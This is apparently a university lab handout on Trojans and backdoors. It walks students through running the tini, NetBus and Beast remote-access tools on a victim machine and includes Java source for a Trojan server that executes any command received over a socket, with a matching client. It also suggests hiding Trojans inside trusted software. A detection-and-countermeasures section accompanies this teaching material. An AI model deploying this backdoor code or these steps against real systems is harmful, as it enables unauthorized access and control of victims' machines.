Trojan and Backdoor

Objectives
To know more about Trojan and backdoor and how do they works.

Backdoor:
A backdoor, is a secret entry point into a program that allows someone that is aware of the backdoor to gain access without going through the usual security access procedures.

So the term backdoor attack can have two different meanings. The original term backdoor referred to troubleshooting and developer hooks into systems. During the development of a complicated operating system or application, programmers add backdoors or maintenance hooks. Backdoors allow them to examine operations inside the code while the code is running.

The backdoors are stripped out of the code when it’s moved to production. When a software manufacturer discovers a hook that hasn’t been removed, it releases a maintenance upgrade or patch to close the backdoor. These patches are common when a new product is initially released.

The second type of backdoor refers to gaining access to a network and inserting a program or utility that creates an entrance for an attacker. The program may allow a certain user ID to log on without a password or gain administrative privileges. Figure 2.2 shows how a back door attack can be used to bypass the security of a network. In this example, the attacker is using a back door program to utilize resources or steal information.

On other hand, A typical backdoor opens a network port (UDP/TCP) on the host when it is executed. Then, the listening backdoor waits for a remote connection from the attacker and allows the attacker to connect to the system.
Number of tools exist to create backdoor attacks on systems. One of the more popular is NetBus, we will try it later.

**Trojan:**

Trojan horses are programs that enter a system or network under the guise of another program. A Trojan horse may be included as an attachment or as part of an installation program. The Trojan horse could create a backdoor or replace a valid program during installation. It would then accomplish its mission under the guise of another program. Trojan horses can be used to compromise the security of your system, and they can exist on a system for years before they’re detected.

The best preventive measure for Trojan horses is to not allow them entry into your system. Immediately before and after you install a new software program or operating system, back it up! If you suspect a Trojan horse, you can reinstall the original programs, which should
delete the Trojan horse. A port scan may also reveal a Trojan horse on your system. If an application opens a TCP or UDP port that isn’t regularly used in your network, you can notice this and begin corrective action.

Lab Experiment

Requirements:
We need two machine in this lab ; the first we name PC1 to built the Trojan and lunch our attack from (attacker machine) and the other PC2 play rule of the victim.

Procedures:
Part 1: Test Trojan software:
Test tini Trojan:
- Examine the open ports by netstat –an command before running our Trojan, as shown in figure 2.

- After running tini.exe (Trojan that open port 7777 on your system) type netstat –an again as illustrated in figure 3, we will see that port 7777 is now opened.
Figure 3

- From the second machine try to access the other machine using ip and open port 7777; you will see that you gain the access to this machine
  
  `telnet 192.168.1.3 7777`

  the shell of the other machine now in your front and you can access it.

  Figure 4 and 5 show telnet to the victim and executing ipconfig command.
To close this Trojan and close port 77777; From task manager; choose tini.exe and then end process.

**Test NetBus tool**
- On the victim machine we will run the patch file; then test netstat –an command you will see that port 12345 and 12346 is now opened and we can do our attack using one of these ports.

From the hacker machine open the NetBus and type the ip address and port Figure 8 shows the interface of NetBus.
Now you can use any feature of the NetBus to do our attack, following are examples of this attack:

- Go to URL

```
URL to go to:
http://www.iuguze.edu.ps
```

- Result on victim machine:
Send Text:

[Figure 10]

Result on victim machine:

[Figure 11]
- File manager: you can access all drivers (delete, download files from or upload files to); Figures 13 shows browsing c drive content.

![Image of file manager]

Figure 12

- Other features also we can use as Start Program, swap mouse, etc...

**Test Beast tool:**
- First built the Trojan that you will send to the victim to enables you to access the victim machine. Figure 14 shows the main interface of this tool.

![Image of Test Beast tool]

Figure 14
- From build server button specify the port number and the type of connection you want to establish with the victim machine (direct connection or reverse connection), and injection type; also you can edit other options.

As an example shown in figure 15, choose listen port 6666 and direct connection from attacker to victim with no injection and finally click save server to build it.

![Server Settings](image)

**Figure 15**

- Send the produced file to victim PC2 (here we send our Trojan without any hiding method but in real we still need to hide it in any way)
- From PC1 attacker connect to the victim machine with port number you specify in the previous step; after connection established you can access PC1 using Beast features, an example is shown below in figures 16 shows accessing the files on the PC1.

![File Manager](image)

**Figure 16 Accessing content of drive c upload new file**
Part 2: Detection and countermeasure:

- Scan for suspicious running processes using tools such as process monitor. An example of these tools is **Process Monitor** that shown in figure 17.

![Process Monitor](image)

**Figure 17**

- Scan for suspicious open ports using tools such as: **Netstat command**, **Fport**, **TCPView**.

**Fport** (fport reports all open TCP/IP and UDP ports, and maps them to the owning application)

![Fport](image)

**Figure 18**
Tcpview (show the process, protocol and connection details – local address and remote address and state)
When TCPView is run, it will enumerate all active TCP and UDP endpoints, resolving all IP addresses to their domain name versions.

- Run Trojan scanner to detect Trojans
- Scan for suspicious registry entries using the following tools: What’s running on my computer, or any other tool.
- Verify system files to determine which file system infected by a Trojan; by using File Signature Verification Tool; or MD5SUM tool.

File Signature Verification Tool:
Start ➔ Run ➔ type sigverif
Md5sum: It takes an MD5 digital snapshot of system files then compare the MD5 signature with the snapshot checksum. If you suspect a file is Trojaned, verify it using this tool.

Command: md5sum *.* > md5sum.txt

- Do not download blindly from people or sites that you aren’t 100% sure about
- Installing software for identifying and removing adware/malware/spyware
- Rigorously control user permissions within the desktop environment to prevent the installation of malicious applications
- One should not be lulled into a false sense of security just because an anti-virus program is running in the system
- Ensure that the corporate perimeter defenses are kept continuously up to date
Part 3: Simple Java Trojan:

- The code below is the Trojan server that is waiting for remote commands from clients.
  In the constructor we create *server socket* with port passed from the user, then stop until a client make connection, when a client establish connection then process method will called (process method execute the command that received from client on server and return an alert if the command executed successfully or not).

```java
import java.net.*;
import java.io.*;

public class TrojanServer {
    // instance variables
    ServerSocket ssock = null;
    Socket sock = null;
    int count = 0;

    // public class
    public static void main(String[] args) throws IOException {
        // check if 'port number' is passed
        if (!(args.length >= 1)) {
            System.out.println("Usage: java TrojanServer <port>");
            System.exit(0);
        }
        String port;
        port = args[0];
        TrojanServer b = new TrojanServer(port);
    }

    public TrojanServer(String port) {
        // create the server socket
        try { 
            ssock = new ServerSocket(Integer.parseInt(port));
        } catch (Exception e) {
            System.err.println("ERROR:Could not listen on port: " + port);
            System.exit(1);
        }
        System.out.println("Waiting for a remote command from client....");

        // ALL THE ACTIONS ARE HERE
        try {
            while(true) {
                // link SERVERSOCKET to SOCKET
                sock = ssock.accept(); // important code
                System.out.println("Connection established. " + ++count);
                process();
            }
        }
    }
}
```
```java
} catch (Exception e) {
    System.out.println("Problem making a connection with the client!");
    System.out.println(e.toString());
}

//-----------------------------PROCESS() method -----------------------------
public void process() {
    try {
        PrintWriter out = new PrintWriter(sock.getOutputStream(), true);
        BufferedReader in = new BufferedReader(new InputStreamReader(
            sock.getInputStream()));

        String fromClient=null;
        String toClient=null;

        fromClient = in.readLine();
        System.out.println("Received from client: " + fromClient);
        toClient = "Executed command on server successfully!";
        String command = fromClient;
        //example of a command = "C:\windows\calc.exe"

        try {
          Process p = Runtime.getRuntime().exec(command);
        } catch (Exception e) {
            System.out.println("Cannot execute command: " + command);
            toClient = ("Error(s) encountered in executing " + command);
        }

        out.println(toClient); //send it back to client
        out.close();
        in.close();
        sock.close();
    } catch (Exception e) {
        System.out.println("Sorry! an error occurred.");
        System.out.println(e.toString());
    }
}
```
- The code below is the client Trojan that to establish connection with client server (victim) and execute command on it. On client Trojan we create **client socket** to and use it to send and receive form server.

```java
import java.io.*;
import java.net.*;
import javax.swing.*;

public class TrojanClient {
    public static void main(String[] args) throws IOException {
        if (!(args.length > 2)) {
            System.out.println("Usage: java TrojanClient <hostname> <port> <command>");
            System.out.println("Example: java TrojanClient c:\.winnt\.system32\calc.exe");
            System.exit(0);
        }

        String host = args[0];
        String port = args[1];
        String filename = args[2];

        Socket echoSocket = null;
        PrintWriter out = null;
        BufferedReader in = null;

        try {
            echoSocket = new Socket(host, Integer.parseInt(port));
            out = new PrintWriter(echoSocket.getOutputStream(), true);
            in = new BufferedReader(new InputStreamReader(echoSocket.getInputStream()));
        } catch (UnknownHostException e) {
            System.err.println("Don't know about host: " + host);
            System.exit(1);
        } catch (IOException e) {
            System.out.println("Couldn't get I/O for " + "the connection to: "+ host);
            System.exit(1);
        }

        //send to server and receive from
        out.println(filename); //send it to the server
        String str, s = "";
        while ((str = in.readLine()) != null) {
            s = s + str + "\n";
        }
        System.out.println(s);

        out.close();
        in.close();
        echoSocket.close();
    }
}
```
Figure 22 shows server waiting for incoming connection, the server open port 5555 that we can verify using netstat -an, and figure 23 shows client connect to this server and execute sol.exe, last figure 24 illustrate the result on the server.

![Figure 22](image1)

![Figure 23](image2)
Conclusion:

By the end of this lab I want to say that every Trojan presented above or any Trojan we does not send to the victim alone we can embed it in another legal application that user trust ,we can perform hiding process using several tools and techniques ,some of these presented in Virus lab.

Exercise:

In your report do the previous parts and attach the results.